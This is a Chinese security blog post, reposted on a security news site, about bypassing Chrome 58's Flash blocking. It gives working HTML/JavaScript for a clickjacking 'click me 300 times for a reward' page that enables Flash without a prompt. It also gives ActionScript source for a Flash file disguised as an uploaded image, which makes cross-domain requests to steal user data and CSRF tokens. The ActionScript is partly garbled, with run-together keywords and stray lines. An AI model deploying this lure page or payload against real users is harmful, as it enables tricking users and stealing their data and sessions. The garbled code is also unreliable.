神刀安全网

Chrome Flash Player Disabled Bypass

Chrome 58版本在大部分情况下是禁用flash的

后来从chrome团队那里了解到,这和一个叫Site engagement score的模块有关

https://docs.google.com/document/d/1GQE9gguqVMgXvR68jZyIsBhHVoAJb9m4fTn6omfqj4M/edit#heading=h.k4pjrzlnm098

他用来给站点进行评分,当站点低于某个评分的时候flash就不会自动的执行

这个bypass可以用来在没有提示的情况打开flash

当然他们认为这只是’恰好的’阻挡了一些安全问题,不算by design的去作为一个security barrier

因此这个洞最后没有被定义为security bug

bugs.chromium.org/p/chromium/issues/detail?id=722733

当然,这个bypass最初灵感来自前段时间在微博上看到了@etherdream介绍的一个前端黑科技

在两个页面之间跳跃四次,就可以打开禁用的flash

但是事实上我和@omego还有其他人复现确认了,在chrome下用户必须通过手动输入地址的方式才能开启,使用meta,js,302都是无效的

因此我想设计一种方式,通过新建一个iframe,在里面去进行自动的跳转,观察它和一个普通的window有什么不同。

发现很好玩的是 和之前手动输入地址一样,它需要在一定需要用户的交互下才能触发

然后因为也没啥好用的fuzz工具,只有肉身测洞了

结论是,如果用js去触发click事件,那么flash永远都不会执行

在手动点击差不多300次的时候,就会没有任何提示的打开flash player

那么如何让用户点击这么多的次数呢? 完全可以参考flappy bird / frog(暴力膜一下) 的方式

让用户在玩游戏的过程中无意识的开启,也算是一种click jacking吧

利用的源代码如下

<iframe id="a" src="x.html" hidden=true></iframe> <div id="asd" style="background:red;width:100px;height:100px;border-radius:4em;" onclick="pclick()"><center><br><h3 id="ha">click me</h3></center></div> <br><h4 style="display:inline">after </h4><h3 id="last" style="display:inline">300</h3><h4 style="display:inline"> times , u will get my reward!</h4> <script> var flag=true; var lasttime=last.innerHTML; document.onselectstart = new Function('event.returnValue=false;'); function pclick() {     if(flag)     {         a.contentWindow.location='x.html';         asd.style.background='green';         lasttime=lasttime-1;         last.innerHTML=lasttime;         flag=false;     }     else     {         a.contentWindow.location='index.html';         asd.style.background='red';         lasttime=lasttime-1;         last.innerHTML=lasttime;         flag=true;     } } </script>

Chrome Flash Player Disabled Bypass

当然这个bypass引发的思考就是,在目前的情况,仅仅是允许flash执行还能带来多大的危害呢?

很明显的,如果一个第三方站点使用严格白名单,只允许我们上传一个.jpg或者其他格式的文件

而没有进行内容检查的话

我们可以使用一个精心构造的flash文件去制造一个跨域的CSRF

importflash.net.URLLoader; importflash.net.URLRequest; importflash.net.URLLoaderDataFormat; importflash.net.URLVariables; importflash.events.Event; importflash.events.HTTPStatusEvent; importflash.events.IOErrorEvent; importflash.events.ProgressEvent; importflash.events.SecurityErrorEvent; importflash.display.LoaderInfo; importflash.system.Security; Security.allowDomain("*"); varurlObj:Object = LoaderInfo(this.root.loaderInfo).parameters.url; varrequest:URLRequest = new URLRequest(urlObj.toString()); request.method= URLRequestMethod.GET;   varloader:URLLoader = new URLLoader(); itemScroll.x= response.x+response.width; itemScroll.y= response.y; itemScroll.height= response.height;   loader.dataFormat= URLLoaderDataFormat.TEXT; loader.addEventListener(Event.COMPLETE,loader_complete); loader.load(request);   functionloader_complete (e:Event):void {          trace("Event.COMPLETE");          trace("Resp Data :/n" + loader.data);          response.text = loader.data;          itemScroll.scrollTarget = response;

这样就可以泄露用户的敏感数据,而且偷取到其CSRF Token后,以其身份进行其他操作。

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » Chrome Flash Player Disabled Bypass

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址